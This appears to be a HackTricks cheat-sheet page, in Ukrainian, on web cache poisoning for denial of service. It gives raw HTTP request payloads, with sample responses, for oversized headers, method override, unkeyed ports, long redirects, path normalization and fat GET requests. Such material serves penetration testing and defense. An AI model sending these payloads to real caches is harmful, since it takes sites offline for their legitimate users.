Cache Poisoning to DoS

Support HackTricks

На цій сторінці ви можете знайти різні варіації, щоб спробувати змусити веб-сервер відповідати з помилками на запити, які є допустимими для кеш-серверів

  • HTTP Header Oversize (HHO)

Надішліть запит з розміром заголовка, більшим за той, що підтримується веб-сервером, але меншим за той, що підтримується кеш-сервером. Веб-сервер відповість з кодом 400, який може бути кешований:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Unexpected values

Відправте заголовок, що містить деякі шкідливі мета-символи, такі як < і >. Щоб атака спрацювала, спочатку потрібно обійти кеш.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Погано налаштований заголовок може бути просто \: як заголовок.

Це також може спрацювати, якщо будуть надіслані несподівані значення, такі як несподіваний Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Unkeyed header

Деякі веб-сайти повернуть код статусу помилки, якщо вони бачать деякі специфічні заголовки в запиті, як-от заголовок X-Amz-Website-Location-Redirect: someThing:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

Якщо сервер підтримує зміну HTTP методу за допомогою заголовків, таких як X-HTTP-Method-Override, X-HTTP-Method або X-Method-Override, можливо запитати дійсну сторінку, змінивши метод, так що сервер не підтримує його, і тому погана відповідь кешується:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Unkeyed Port

Якщо порт у заголовку Host відображається у відповіді і не включений у ключ кешу, можливо перенаправити його на невикористовуваний порт:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

Як у наступному прикладі, x не кешується, тому зловмисник може зловживати поведінкою відповіді перенаправлення, щоб зробити так, щоб перенаправлення відправляло URL, який настільки великий, що повертає помилку. Тоді люди, які намагаються отримати доступ до URL без некешованого ключа x, отримають відповідь з помилкою:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Нормалізація регістру заголовка хоста

Заголовок хоста повинен бути нечутливим до регістру, але деякі веб-сайти очікують, що він буде в нижньому регістрі, повертаючи помилку, якщо це не так:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Нормалізація шляху

Деякі сторінки повертають коди помилок, відправляючи дані URLencode у шляху, однак, кеш-сервер URLdecode шлях і зберігає відповідь для URLdecoded шляху:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Деякі кеш-сервери, такі як Cloudflare, або веб-сервери, зупиняють GET-запити з тілом, тому це може бути використано для кешування недійсної відповіді:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Посилання

Підтримайте HackTricks

Last updated